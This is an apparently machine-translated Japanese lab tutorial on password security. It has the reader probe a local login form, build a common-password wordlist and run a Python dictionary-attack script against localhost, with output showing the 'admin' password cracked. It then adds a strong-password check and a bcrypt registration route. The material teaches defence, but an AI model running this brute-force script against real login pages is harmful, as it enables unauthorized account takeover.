はじめに
この実験では、ウェブアプリケーションのパスワードセキュリティをテストする任務を担うセキュリティ研究者の役割を務めます。脆弱なパスワードの脆弱性を探り、それらを解読するために使用される技術を学びます。この実践的な経験は、攻撃技術とサイバーセキュリティにおける堅牢な防御策の重要性の両方に洞察を提供します。
💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください
この実験では、ウェブアプリケーションのパスワードセキュリティをテストする任務を担うセキュリティ研究者の役割を務めます。脆弱なパスワードの脆弱性を探り、それらを解読するために使用される技術を学びます。この実践的な経験は、攻撃技術とサイバーセキュリティにおける堅牢な防御策の重要性の両方に洞察を提供します。
このステップでは、対象のウェブサイトに関する情報を収集します。これは、任意のセキュリティ評価における重要な最初の段階です。
http://localhost:8080/
に移動します。LabEx環境の Web 8080
タブをクリックすることでアクセスできます。注意:LabEx仮想マシンでは、Webサーバーは一時的なパブリックネットワーク上で動作します。これは、見えるドメイン名が「localhost」ではなく、実際にアクセス可能なドメインであることを意味します。これは正常で、実験の実施には影響ありません。
ログインフォームを注意深く調べます。以下の点に留意してください:
ユーザー名とパスワードのいくつかのランダムな組み合わせを使ってログインしてみます。たとえば:
test
、パスワード:password123
admin
、パスワード:admin
user
、パスワード:12345
各試行で「ユーザー名またはパスワードが無効です」というメッセージが表示されるはずです。
この初期の調査は、私たちが取り組んでいるシステムを理解するのに役立ち、パスワードを解読するための次のステップを知らせます。
ログインシステムに関する情報を収集したので、次に、潜在的なパスワードの辞書を作成します。これは、パスワード解読の試みで一般的に使用される手法です。
passwords.txt
ファイルを作成して内容を入力します:cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF
このコマンドは、bashにおける「ヒアドキュメント」と呼ばれる手法を使用しています。これにより、1つのコマンドで複数行のテキストを含むファイルを作成できます。その仕組みは以下の通りです:
cat << EOF > filename
:これは、システムに対して、「EOF」(ファイルの終端)が見つかるまでのすべてのテキストを取得し、指定されたファイル名に書き込むように指示します。EOF
と2番目の EOF
の間のテキストが、ファイルに書き込まれる内容です。EOF
は、書き込むテキストの終わりを示します。このコマンドを実行すると、~/project/password_lab/
ディレクトリに passwords.txt
という名前のファイルが作成され、一般的に使用される(したがって脆弱な)パスワードのリストが含まれます。
現実のシナリオでは、攻撃者は数百万のパスワードを含むはるかに大きな辞書を使用する場合があります。これらには以下が含まれる場合があります:
不正アクセスのためにこのような辞書を作成して使用することは、違法で倫理的ではありません。この小さな辞書を使用するのは、これらの攻撃がどのように機能するか、およびそれらに対してどのように防御するかを理解するための教育目的だけです。
パスワード辞書ができたので、次にPythonスクリプトを作成して、対象のウェブサイトに対してこれらのパスワードをテストするプロセスを自動化します。
デスクトップ上のターミナルがまだ開いていなければ開きます。
次のコマンドを入力して、nanoテキストエディタで password_cracker.py
という名前の新しいファイルを開きます:
nano ~/project/password_lab/password_cracker.py
import requests
import time
def crack_password(username, password_list):
url = 'http://localhost:8080'
for password in password_list:
response = requests.post(url, data={'username': username, 'password': password.strip()})
if 'Login successful!' in response.text:
print(f"Succeeded! {username} with password: {password.strip()}")
else:
print(f"Failed attempt for {username} with password: {password.strip()}")
time.sleep(0.1) ## Small delay to avoid overwhelming the server
def main():
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
for username in usernames:
print(f"Attempting to crack password for user: {username}")
crack_password(username, passwords)
if __name__ == '__main__':
main()
Ctrl+X
を押してから Y
を押し、最後に Enter
を押してnanoを終了します。このスクリプトが何をするか解説しましょう:
crack_password
関数:
main
関数:
passwords.txt
ファイルからパスワードを読み取ります。crack_password
を呼び出します。このスクリプトは、多くのユーザー名とパスワードの組み合わせを試すプロセスを自動化します。攻撃者がシステムに侵入する方法に似ています。ただし、許可なくこのような技術を使用することは違法で倫理的ではありません。これを使用するのは、これらの攻撃がどのように機能するか、およびそれらに対してどのように防御するかを理解するための教育目的だけです。
パスワード解読スクリプトができたので、それを実行して結果を分析します。
cd ~/project/password_lab
python password_cracker.py
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
このエクササイズは、脆弱なパスワードが一般的な単語やパターンを使って簡単に推測できることを示しています。この場合、パスワードが「supersecret123」の「admin」は、辞書攻撃に対して脆弱でした。
このスクリプトはこの制御された環境で成功しましたが、明示的な許可なしに実際のシステムに対してこのような技術を使用しようとすることは、違法で倫理的ではありません。この知識は、脆弱性を理解してセキュリティを向上させるために使用するべきであり、システムを悪用するためではありません。
いくつかのパスワードを成功裏に解読したので、このような攻撃を防止するために、より良いパスワードポリシーを実装しましょう。
app.py
ファイルをクリックしてエディタで開きます。users
辞書の後に次の関数を追加します:import re
def is_strong_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[a-z]', password):
return False
if not re.search(r'\d', password):
return False
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False
return True
この関数は、パスワードが以下を満たしているかどうかをチェックします:
if __name__ == '__main__':
行の前にこのコードブロックを追加します:@app.route('/register', methods=['GET', 'POST'])
def register():
message = ''
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username and password:
if is_strong_password(password):
if username not in users:
users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
message = 'Registration successful!'
else:
message = 'Username already exists'
else:
message = 'Password is not strong enough'
else:
message = 'Username and password are required'
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Registration</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 h-screen flex items-center justify-center">
<div class="bg-white p-8 rounded-lg shadow-md w-96">
<h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
<form method="post" class="space-y-4">
<div>
<label for="username" class="block text-sm font-medium text-gray-700">Username</label>
<input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label for="password" class="block text-sm font-medium text-gray-700">Password</label>
<input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
Register
</button>
</div>
</form>
<p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
<p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
</div>
</body>
</html>
''', message=message)
このコードは、ユーザー登録用の新しいルートを作成します。新しいユーザーを作成する前に、送信されたパスワードが強力なパスワード基準を満たしているかどうかをチェックします。
pkill -f "python app.py"
python ~/project/password_lab/app.py
/register
を追加します:脆弱なパスワード(たとえば、「password123」)を使って新しいアカウントを登録してみます。アプリケーションが新しいパスワードポリシーをどのように強制するかを確認します。
次に、すべての基準を満たす強力なパスワードを使って新しいアカウントを登録します。たとえば:
labex
S3cureP@ssw0rd-2024
このパスワードはすべての要件を満たしています。12文字以上で、大文字と小文字、数字、特殊文字が含まれています。
正常に登録した後、この新しい強力なパスワードに対してパスワード解読スクリプトをテストしましょう。password_cracker.py
スクリプトを変更します:
nano ~/project/password_lab/password_cracker.py
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
という行を見つけますusernames = ['labex']
に置き換えます変更したスクリプトを実行します:
python ~/project/password_lab/password_cracker.py
新しい強力なパスワードを解読できないことを確認します。これは、強力なパスワードポリシーを実装する効果を示しています。
この実験では、エシカルハッキングとパスワードセキュリティテストのプロセスを体験しました。以下は、あなたが達成したことのまとめです: